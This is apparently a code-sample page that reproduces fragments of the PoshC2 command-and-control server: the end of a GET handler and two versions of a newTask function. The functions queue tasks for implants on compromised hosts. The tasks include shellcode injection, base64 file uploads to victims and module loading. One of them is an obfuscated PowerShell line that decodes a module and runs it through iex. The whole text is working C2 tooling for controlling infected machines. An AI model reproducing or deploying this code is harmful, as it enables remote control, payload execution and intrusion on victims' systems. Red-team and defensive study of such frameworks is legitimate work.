                        HTTPResponsePage = select_item("GET_404_Response",
                                                       "C2Server")
                        if HTTPResponsePage:
                            self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                        else:
                            self.wfile.write(bytes(GET_404_Response, "utf-8"))
            else:
                self.send_response(404)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                if HTTPResponsePage:
                    self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
                else:
                    self.wfile.write(bytes(GET_404_Response, "utf-8"))
        except Exception as e:
            if 'broken pipe' not in str(e).lower():
                print_bad("Error handling GET request: " + e)
                traceback.print_exc()
コード例 #4
0
def newTask(path):
    result = DB.get_implants_all()
    commands = ""
    if result:
        for i in result:
            RandomURI = i[1]
            EncKey = i[5]
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for a in tasks:
                    command = a[2]
                    user = a[3]
                    user_command = command
                    hostinfo = DB.get_hostinfo(RandomURI)
                    implant_type = DB.get_implanttype(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower().startswith("$shellcode64")) or (
                            command.lower().startswith("$shellcode86")
                            or command.lower().startswith(
                                "run-exe core.program core inject-shellcode")):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif (command.lower().startswith('upload-file')):
                        upload_args = command.replace('upload-file', '')
                        upload_file = upload_args.split()[0]
                        try:
                            upload_file_destination = upload_args.split()[1]
                        except:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        upload_args = upload_args.replace(upload_file, '')
                        upload_args = upload_args.replace(
                            upload_file_destination, '')
                        with open(upload_file, "rb") as f:
                            upload_file_bytes = f.read()
                        if not upload_file_bytes:
                            print(
                                Colours.RED +
                                f"Error, no bytes read from the upload file, removing task: {upload_file}"
                                + Colours.GREEN)
                            DB.del_newtasks(str(a[0]))
                            continue
                        upload_file_bytes_b64 = base64.b64encode(
                            upload_file_bytes).decode("utf-8")
                        if implant_type.startswith('C#'):
                            command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
                        elif implant_type.startswith('PS'):
                            command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
                        elif implant_type.startswith('PY'):
                            command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        filehash = hashlib.md5(
                            base64.b64decode(
                                upload_file_bytes_b64)).hexdigest()
                        user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}"
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, hostinfo[0], hostinfo[11],
                               hostinfo[2], hostinfo[3],
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            %
                            (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2],
                             hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if a[2].startswith("loadmodule"):
                        try:
                            module_name = (a[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                    elif a[2].startswith("run-exe Program PS "):
                        try:
                            cmd = (a[2]).replace("run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif a[2].startswith("pslo "):
                        try:
                            module_name = (a[2]).replace("pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe Program PS loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif a[2].startswith("pbind-loadmodule"):
                        try:
                            module_name = (a[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(a[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return default_response()
コード例 #5
0
ファイル: Tasks.py プロジェクト: yunzheng/PoshC2
def newTask(path):
    result = DB.get_implants_all()
    commands = ""
    if result:
        for i in result:
            RandomURI = i[1]
            EncKey = i[5]
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for a in tasks:
                    command = a[2]
                    user = a[3]
                    user_command = command
                    hostinfo = DB.get_hostinfo(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower().startswith("$shellcode64")) or (
                            command.lower().startswith("$shellcode86")
                            or command.lower().startswith(
                                "run-exe core.program core inject-shellcode")):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif (command.lower().startswith('upload-file')):
                        upload_args = command.replace('upload-file', '')
                        if ";" in upload_args:
                            # This is a SharpHandler
                            filename = upload_args.split(";")[1].replace(
                                '"', '').strip()
                            file_b64 = upload_args.split(";")[0].replace(
                                '"', '').strip()
                        elif "estination" in upload_args:
                            # This is a PSHandler
                            split_args = upload_args.split(" ")
                            filename = split_args[
                                split_args.index("-Destination") + 1]
                            file_b64 = split_args[split_args.index("-Base64") +
                                                  1]
                            print(file_b64)
                        elif ":" in upload_args:
                            # This is a PyHandler
                            filename = upload_args.split(":")[0].replace(
                                '"', '').strip()
                            file_b64 = upload_args.split(":")[1].replace(
                                '"', '').strip()
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        filehash = hashlib.md5(
                            base64.b64decode(file_b64)).hexdigest()
                        user_command = "Uploading file: %s with md5sum: %s" % (
                            filename, filehash)
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, hostinfo[0], hostinfo[11],
                               hostinfo[2], hostinfo[3],
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            %
                            (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2],
                             hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if a[2].startswith("loadmodule"):
                        try:
                            module_name = (a[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                    if a[2].startswith("pbind-loadmodule"):
                        try:
                            module_name = (a[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(a[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return default_response()